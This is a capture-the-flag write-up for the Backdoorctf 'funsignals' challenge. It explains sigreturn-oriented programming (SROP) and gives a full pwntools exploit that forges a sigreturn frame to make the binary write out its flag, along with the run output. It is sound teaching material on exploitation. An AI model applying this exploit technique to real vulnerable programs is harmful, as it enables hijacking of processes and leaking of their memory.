Backdoorctf Funsignals

Let's take a look at the binary (also the goal of this challenge will be to print the flag, not pop a shell):

$    file funsignals_player_bin
funsignals_player_bin: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, not stripped
$    pwn checksec funsignals_player_bin
[*] '/Hackery/pod/modules/srop/backdoor_funsignals/funsignals_player_bin'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x10000000)
    RWX:      Has RWX segments
$    /funsignals_player_bin
15935728
Segmentation fault (core dumped)

So we can see that it is a 64 bit statically linked binary, with none of the standard binary mitigations. When we run it, we see that it scans in input, then seg faults.

Reversing

Looking at the code in Ghidra, we see that this isn't a normal binary (probably just assembled versus compiled). Looking at the assembly code we see this:

                             //
                             // .shellcode
                             // SHT_PROGBITS  [0x10000000 - 0x1000004a]
                             // ram: 10000000-1000004a
                             //
                             **************************************************************
                             *                          FUNCTION                          *
                             **************************************************************
                             undefined entry()
             undefined         AL:1           <RETURN>
                             _start                                          XREF[4]:     Entry Point(*),
                             __start                                                      _elfHeader::00000018(*),
                             entry                                                        _elfProgramHeaders::00000010(*),
                                                                                          _elfSectionHeaders::00000050(*)  
        10000000 31 c0           XOR        EAX,EAX
        10000002 31 ff           XOR        EDI,EDI
        10000004 31 d2           XOR        EDX,EDX
        10000006 b6 04           MOV        DH,0x4
        10000008 48 89 e6        MOV        RSI,RSP
        1000000b 0f 05           SYSCALL
        1000000d 31 ff           XOR        EDI,EDI
        1000000f 6a 0f           PUSH       0xf
        10000011 58              POP        RAX
        10000012 0f 05           SYSCALL
        10000014 cc              INT        3

So we can see here, it executes two syscalls. For the first, the registers are equal to this:

RAX:    0x0
RDI:    0x0
RDX:    0x400
RSI:    ptr to top of stack (stack pointer rsp)

So here it is making a read syscall (check https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/ for more details). It is scanning in 0x400 bytes of data via stdin into the top of the stack.

For the next syscall, the registers are equal to this:

RAX:    0xf
RDI:    0x0

So here it is performing a Sigreturn syscall. When the kernel delivers a signal from a program, it creates a frame on the stack before it is passed to the signal handler. Then after that is done that frame is used as context for a sigreturn syscall to return code execution to where it was interrupted. It does this by popping values off of the top of the stack into registers, which were stored there so execution could continue after the signal is dealt with. The syscall itself takes a single argument in the rdi register (however for our use, it's not important in this context). We can tell that a sigreturn syscall is being made since it pops the value 0xf into the rax register before making the syscall to speecify a sigreturn syscall. Checkout https://lwn.net/Articles/676803/ and https://thisissecurity.stormshield.com/2015/01/03/playing-with-signals-an-overview-on-sigreturn-oriented-programming/ for more.

Also another important thing to note, we can see that the flag is stored in the binary at the address 0x10000023:

                             flag
        10000023 66 61 6b        ds         "fake_flag_here_as_original_is_at_server"
                 65 5f 66
                 6c 61 67

Exploitation

So for our exploitation, we will be doing a Sigreturn Oriented Programming attack (SROP). Essentially what that is is when we use a sigreturn to take control of the all of the registers. Since we get to scan in 0x400 bytes worth of data to the top of the stack which is pointed to by the rsp register (along with the fact that it makes a sigreturn call after that), and a sigreturn pops values off of the top of the stack into the registers.

SROP is really useful in a lot of cases where traditional ROP won't work. It gives us control of the instruction pointer which is executed, and all other registers.

Just if you're curiosus, this is the sigcontext structure that is stored on the stack, which is used by the sigreturn to pop values into the register (for x64). This diagram is originally from https://amriunix.com/post/sigreturn-oriented-programming-srop/:

+--------------------+--------------------+
| rt_sigeturn()      | uc_flags           |
+--------------------+--------------------+
| &uc                | uc_stack.ss_sp     |
+--------------------+--------------------+
| uc_stack.ss_flags  | uc.stack.ss_size   |
+--------------------+--------------------+
| r8                 | r9                 |
+--------------------+--------------------+
| r10                | r11                |
+--------------------+--------------------+
| r12                | r13                |
+--------------------+--------------------+
| r14                | r15                |
+--------------------+--------------------+
| rdi                | rsi                |
+--------------------+--------------------+
| rbp                | rbx                |
+--------------------+--------------------+
| rdx                | rax                |
+--------------------+--------------------+
| rcx                | rsp                |
+--------------------+--------------------+
| rip                | eflags             |
+--------------------+--------------------+
| cs / gs / fs       | err                |
+--------------------+--------------------+
| trapno             | oldmask (unused)   |
+--------------------+--------------------+
| cr2 (segfault addr)| &fpstate           |
+--------------------+--------------------+
| __reserved         | sigmask            |
+--------------------+--------------------+

So now is the question of what will we do with our syscall. Looking through the code, we can see multiple syscalls (both will work for our purposes, doesn't matter too much for our purposes):

        1000000b 0f 05           SYSCALL
        10000012 0f 05           SYSCALL

So using the sigreturn, we can set rip to either address and execute a syscall. Since we have control over the registers, we can control what syscall is made. We can just go with a write syscall, to print the contents of the flag to us. To do that, we will need to set the following registers equal to these values:

RIP:    0x1000000b (address of a syscall, could use other syscalls)
RAX:    0x1 (specify write syscall)
RDI:    0x1 (specify stdout to write it to)
RSI:    0x10000023 (address of the flag)
RDX:    0x400 (amount of bytes to print, 0x400 is clearly overkill)

Exploit

Putting it all together, we have the following exploit. Also one thing, pwntools has the capability to automatically build out a sigreturn frame, you just need to specify what values you want for what registers. It makes this really easy:

from pwn import *

target = process('./funsignals_player_bin')

# Specify the architecture
context.arch = "amd64"

frame = SigreturnFrame()

# Specify rip to point to the syscall instruction
frame.rip = 0x1000000b

# Prep the registers for a write syscall
frame.rax = 0x1
frame.rdi = 0x1
frame.rsi = 0x10000023
frame.rdx = 0x400

# Send the sigreturn frame
target.send(str(frame))

target.interactive()

When we run it:

$    python exploit.py
[+] Starting local process './funsignals_player_bin': pid 7092
[*] Switching to interactive mode
fake_flag_here_as_original_is_at_server\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00��\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1b\x00\x00\x00\x00\x00\x00\x15\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00#\x00\x00\x00\x00\x00\x00#\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00(\x00\x00\x00\x10\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00)\x00\x00\x00\x10\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x000\x00\x00\x00\x10\x00��@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00<\x00\x00\x00\x10\x00��@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00C\x00\x00\x00\x10\x00��@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00/tmp/pwn-asm-T0zexC/step2\x00syscall\x00flag\x00__start\x00__bss_start\x00_edata\x00_end\x00\x00.symtab\x00.strtab\x00.shstrtab\x00.shellcode\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1b\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00K\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x88\x11\x00\x00\x00\x00\x00\x00&\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00P\x10\x00\x00\x00\x00\x00\x00�\x00\x00\x00\x00\x04\x00\x00\x00\x05\x00\x00\x0\x00\x00\x00\x00\x00\x00\x00\x18\x00\x00\x00\x00\x00\x00\x00    \x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00@\x11\x00\x00\x00\x00\x00\x00H\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\[*] Got EOF while reading in interactive

Just like that, we got the flag (followed by a lot of null bytes)!